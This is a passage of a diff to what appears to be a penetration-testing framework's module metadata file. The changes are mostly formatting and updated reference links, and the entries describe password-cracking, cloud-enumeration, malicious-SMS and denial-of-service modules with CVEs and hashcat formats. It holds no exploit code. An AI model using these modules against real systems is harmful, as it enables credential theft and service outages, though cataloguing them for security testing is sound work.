"autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_aix.rb", @@ -12192,8 +10792,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12225,18 +10824,12 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from the mssql_hashdump, mysql_hashdump, postgres_hashdump, or oracle_hashdump modules.\n Passwords that have been successfully cracked are then saved as proper credentials.\n Due to the complexity of some of the hash types, they can be very slow. Setting the\n ITERATION_TIMEOUT is highly recommended.\n MSSQL is 131, 132, and 1731 in hashcat.\n MYSQL is 200, and 300 in hashcat.\n ORACLE is 112, and 12300 in hashcat.\n POSTGRES is 12 in hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_databases.rb", @@ -12245,8 +10838,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12275,18 +10867,12 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from unshadowed passwd files from Unix/Linux systems. The module will only crack\n MD5, BSDi and DES implementations by default. However, it can also crack\n Blowfish and SHA(256/512), but it is much slower.\n MD5 is format 500 in hashcat.\n DES is format 1500 in hashcat.\n BSDI is format 12400 in hashcat.\n BLOWFISH is format 3200 in hashcat.\n SHA256 is format 7400 in hashcat.\n SHA512 is format 1800 in hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_linux.rb", @@ -12295,8 +10881,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12313,9 +10898,7 @@ "auxiliary_analyze/crack_mobile": { "name": "Password Cracker: Mobile", "fullname": "auxiliary/analyze/crack_mobile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12323,18 +10906,12 @@ "h00die" ], "description": "This module uses Hashcat to identify weak passwords that have been\n acquired from Android systems. These utilize MD5 or SHA1 hashing.\n Android (Samsung) SHA1 is format 5800 in Hashcat. Android\n (non-Samsung) SHA1 is format 110 in Hashcat. Android MD5 is format 10.\n JTR does not support Android hashes at the time of writing.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-18 13:09:45 +0000", "path": "/modules/auxiliary/analyze/crack_mobile.rb", @@ -12343,8 +10920,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12357,9 +10933,7 @@ "auxiliary_analyze/crack_osx": { "name": "Password Cracker: OSX", "fullname": "auxiliary/analyze/crack_osx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12367,18 +10941,12 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from OSX systems. The module will only crack xsha from OSX 10.4-10.6, xsha512\n from 10.7, and PBKDF2 from OSX 10.8+.\n XSHA is 122 in hashcat.\n XSHA512 is 1722 in hashcat.\n PBKDF2 (PBKDF2-HMAC-SHA512) is 7100 in hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_osx.rb", @@ -12387,8 +10955,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12405,9 +10972,7 @@ "auxiliary_analyze/crack_webapps": { "name": "Password Cracker: Webapps", "fullname": "auxiliary/analyze/crack_webapps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12415,18 +10980,12 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from various web applications.\n Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.\n PHPass uses phpass which is 400 in hashcat.\n Mediawiki is MD5 based and is 3711 in hashcat.\n Apache Superset, some Flask and Werkzeug apps is pbkdf2-sha256 and is 10900 in hashcat", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_webapps.rb", @@ -12435,8 +10994,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12465,18 +11023,12 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from Windows systems.\n LANMAN is format 3000 in hashcat.\n NTLM is format 1000 in hashcat.\n MSCASH is format 1100 in hashcat.\n MSCASH2 is format 2100 in hashcat.\n NetNTLM is format 5500 in hashcat.\n NetNTLMv2 is format 5600 in hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_windows.rb", @@ -12485,8 +11037,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12503,9 +11054,7 @@ "auxiliary_analyze/modbus_zip": { "name": "Extract zip from Modbus communication", "fullname": "auxiliary/analyze/modbus_zip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12514,18 +11063,12 @@ "Luis Rosa " ], "description": "This module is able to extract a zip file sent through Modbus from a pcap.\n Tested with Schneider TM221CE16R", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-06-18 14:08:47 +0000", "path": "/modules/auxiliary/analyze/modbus_zip.rb", @@ -12534,20 +11077,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_bnat/bnat_router": { "name": "BNAT Router", "fullname": "auxiliary/bnat/bnat_router", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12563,12 +11101,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/bnat/bnat_router.rb", @@ -12577,20 +11111,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_bnat/bnat_scan": { "name": "BNAT Scanner", "fullname": "auxiliary/bnat/bnat_scan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12606,12 +11135,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/bnat/bnat_scan.rb", @@ -12620,20 +11145,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/hwbridge/connect": { "name": "Hardware Bridge Session Connector", "fullname": "auxiliary/client/hwbridge/connect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12670,20 +11190,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/iec104/iec104": { "name": "IEC104 Client Utility", "fullname": "auxiliary/client/iec104/iec104", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12691,18 +11206,12 @@ "Michael John " ], "description": "This module allows sending 104 commands.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 2404, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/client/iec104/iec104.rb", @@ -12711,8 +11220,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -12725,9 +11233,7 @@ "auxiliary_client/mms/send_mms": { "name": "MMS Client", "fullname": "auxiliary/client/mms/send_mms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12735,18 +11241,12 @@ "sinn3r " ], "description": "This module sends an MMS message to multiple phones of the same carrier.\n You can use it to send a malicious attachment to phones.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/client/mms/send_mms.rb", @@ -12755,20 +11255,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/sms/send_text": { "name": "SMS Client", "fullname": "auxiliary/client/sms/send_text", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12776,18 +11271,12 @@ "sinn3r " ], "description": "This module sends a text message to multiple phones of the same carrier.\n You can use it to send a malicious link to phones.\n\n Please note that you do not use this module to send a media file (attachment).\n In order to send a media file, please use auxiliary/client/mms/send_mms instead.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/client/sms/send_text.rb", @@ -12796,20 +11285,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/smtp/emailer": { "name": "Generic Emailer (SMTP)", "fullname": "auxiliary/client/smtp/emailer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12843,20 +11327,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/telegram/send_message": { "name": "Telegram Message Client", "fullname": "auxiliary/client/telegram/send_message", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12865,18 +11344,12 @@ "Gaurav Purswani" ], "description": "This module can be used to send a document and/or message to\n multiple chats on telegram. Please refer to the module\n documentation for info on how to retrieve the bot token and corresponding chat\n ID values.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:04:17 +0000", "path": "/modules/auxiliary/client/telegram/send_message.rb", @@ -12885,20 +11358,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/aws/enum_ec2": { "name": "Amazon Web Services EC2 instance enumeration", "fullname": "auxiliary/cloud/aws/enum_ec2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12907,18 +11375,12 @@ "RageLtMan " ], "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all EC2 instances associated\n with the account", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-06-26 16:57:08 +0000", "path": "/modules/auxiliary/cloud/aws/enum_ec2.rb", @@ -12934,22 +11396,16 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/aws/enum_iam": { "name": "Amazon Web Services IAM credential enumeration", "fullname": "auxiliary/cloud/aws/enum_iam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12957,18 +11413,12 @@ "Aaron Soto " ], "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all IAM credentials associated\n with the account", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-27 15:15:31 +0000", "path": "/modules/auxiliary/cloud/aws/enum_iam.rb", @@ -12977,20 +11427,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/aws/enum_s3": { "name": "Amazon Web Services S3 instance enumeration", "fullname": "auxiliary/cloud/aws/enum_s3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12998,18 +11443,12 @@ "Aaron Soto " ], "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all S3 buckets associated\n with the account", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-27 15:15:31 +0000", "path": "/modules/auxiliary/cloud/aws/enum_s3.rb", @@ -13018,20 +11457,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/aws/enum_ssm": { "name": "Amazon Web Services EC2 SSM enumeration", "fullname": "auxiliary/cloud/aws/enum_ssm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13045,12 +11479,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-06-03 11:02:15 +0000", "path": "/modules/auxiliary/cloud/aws/enum_ssm.rb", @@ -13063,25 +11493,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-safe" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/kubernetes/enum_kubernetes": { "name": "Kubernetes Enumeration", "fullname": "auxiliary/cloud/kubernetes/enum_kubernetes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13090,9 +11514,7 @@ "Spencer McIntyre" ], "description": "Enumerate a Kubernetes API to report useful resources such as available namespaces,\n pods, secrets, etc.\n\n Useful resources will be highlighted using the HIGHLIGHT_NAME_PATTERN option.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, @@ -13123,9 +11545,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-safe" ] @@ -13176,9 +11596,7 @@ "auxiliary_crawler/msfcrawler": { "name": "Metasploit Web Crawler", "fullname": "auxiliary/crawler/msfcrawler", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13186,18 +11604,12 @@ "et " ], "description": "This auxiliary module is a modular web crawler, to be used in conjunction with wmap (someday) or standalone.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-23 12:23:27 +0000", "path": "/modules/auxiliary/crawler/msfcrawler.rb", @@ -13206,20 +11618,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_docx/word_unc_injector": { "name": "Microsoft Word UNC Path Injector", "fullname": "auxiliary/docx/word_unc_injector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13233,12 +11640,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-10 18:03:35 +0000", "path": "/modules/auxiliary/docx/word_unc_injector.rb", @@ -13247,20 +11650,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/android/android_stock_browser_iframe": { "name": "Android Stock Browser Iframe DOS", "fullname": "auxiliary/dos/android/android_stock_browser_iframe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-12-01", "type": "auxiliary", @@ -13276,12 +11674,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/android/android_stock_browser_iframe.rb", @@ -13290,8 +11684,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -13304,9 +11697,7 @@ "auxiliary_dos/apple_ios/webkit_backdrop_filter_blur": { "name": "iOS Safari Denial of Service with CSS", "fullname": "auxiliary/dos/apple_ios/webkit_backdrop_filter_blur", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-09-15", "type": "auxiliary", @@ -13316,40 +11707,31 @@ "description": "This module exploits a vulnerability in WebKit on Apple iOS.\n If successful, the device will restart after viewing the webpage.", "references": [ "URL-https://twitter.com/pwnsdx/status/1040944750973595649", - "URL-https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea", + "URL-http://web.archive.org/web/20220706175501/https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea", "URL-https://nbulischeck.github.io/apple-safari-crash" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb", "is_install_path": true, "ref_name": "dos/apple_ios/webkit_backdrop_filter_blur", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/cisco/cisco_7937g_dos": { "name": "Cisco 7937G Denial-of-Service Attack", "fullname": "auxiliary/dos/cisco/cisco_7937g_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-02", "type": "auxiliary", @@ -13364,12 +11746,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-08-21 13:13:33 +0000", "path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos.py", @@ -13378,20 +11756,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/cisco/cisco_7937g_dos_reboot": { "name": "Cisco 7937G Denial-of-Service Reboot Attack", "fullname": "auxiliary/dos/cisco/cisco_7937g_dos_reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-02", "type": "auxiliary", @@ -13406,12 +11779,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-08-21 09:01:45 +0000", "path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py", @@ -13420,20 +11789,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/cisco/ios_http_percentpercent": { "name": "Cisco IOS HTTP GET /%% Request Denial of Service", "fullname": "auxiliary/dos/cisco/ios_http_percentpercent", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2000-04-26", "type": "auxiliary", @@ -13449,12 +11813,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb", @@ -13463,20 +11823,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/cisco/ios_telnet_rocem": { "name": "Cisco IOS Telnet Denial of Service", "fullname": "auxiliary/dos/cisco/ios_telnet_rocem", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-17", "type": "auxiliary", @@ -13493,12 +11848,8 @@ "platform": "", "arch": "", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb", @@ -13507,20 +11858,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/dhcp/isc_dhcpd_clientid": { "name": "ISC DHCP Zero Length ClientID Denial of Service Module", "fullname": "auxiliary/dos/dhcp/isc_dhcpd_clientid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13537,12 +11883,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb", @@ -13551,20 +11893,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/dns/bind_tkey": { "name": "BIND TKEY Query Denial of Service", "fullname": "auxiliary/dos/dns/bind_tkey", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-28", "type": "auxiliary", @@ -13576,40 +11913,31 @@ "description": "This module sends a malformed TKEY query, which exploits an\n error in handling TKEY queries on affected BIND9 'named' DNS servers.\n As a result, a vulnerable named server will exit with a REQUIRE\n assertion failure. This condition can be exploited in versions of BIND\n between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0\n through 9.10.2-P2.", "references": [ "CVE-2015-5477", - "URL-https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/", + "URL-http://web.archive.org/web/20190425014550/https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/", "URL-https://kb.isc.org/article/AA-01272" ], "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2018-11-16 12:18:28 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/dos/dns/bind_tkey.rb", "is_install_path": true, "ref_name": "dos/dns/bind_tkey", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/dns/bind_tsig": { "name": "BIND TSIG Query Denial of Service", "fullname": "auxiliary/dos/dns/bind_tsig", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-09-27", "type": "auxiliary", @@ -13627,12 +11955,8 @@ "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/dns/bind_tsig.rb", @@ -13641,20 +11965,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/dns/bind_tsig_badtime": { "name": "BIND TSIG Badtime Query Denial of Service", "fullname": "auxiliary/dos/dns/bind_tsig_badtime", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-05-19", "type": "auxiliary", @@ -13671,12 +11990,8 @@ "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/dos/dns/bind_tsig_badtime.rb", @@ -13689,25 +12004,17 @@ "Stability": [ "crash-service-down" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/freebsd/nfsd/nfsd_mount": { "name": "FreeBSD Remote NFS RPC Request Denial of Service", "fullname": "auxiliary/dos/freebsd/nfsd/nfsd_mount", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13723,12 +12030,8 @@ "platform": "", "arch": "", "rport": 2049, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb", @@ -13737,20 +12040,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ftp/vsftpd_232": { "name": "VSFTPD 2.3.2 Denial of Service", "fullname": "auxiliary/dos/ftp/vsftpd_232", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-03", "type": "auxiliary", @@ -13791,22 +12089,16 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/hp/data_protector_rds": { "name": "HP Data Protector Manager RDS DOS", "fullname": "auxiliary/dos/hp/data_protector_rds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-08", "type": "auxiliary", @@ -13823,12 +12115,8 @@ "platform": "", "arch": "", "rport": 1530, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/hp/data_protector_rds.rb", @@ -13837,20 +12125,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/3com_superstack_switch": { "name": "3Com SuperStack Switch Denial of Service", "fullname": "auxiliary/dos/http/3com_superstack_switch", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-06-24", "type": "auxiliary", @@ -13866,12 +12149,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/http/3com_superstack_switch.rb", @@ -13880,20 +12159,15 @@ "check": false, 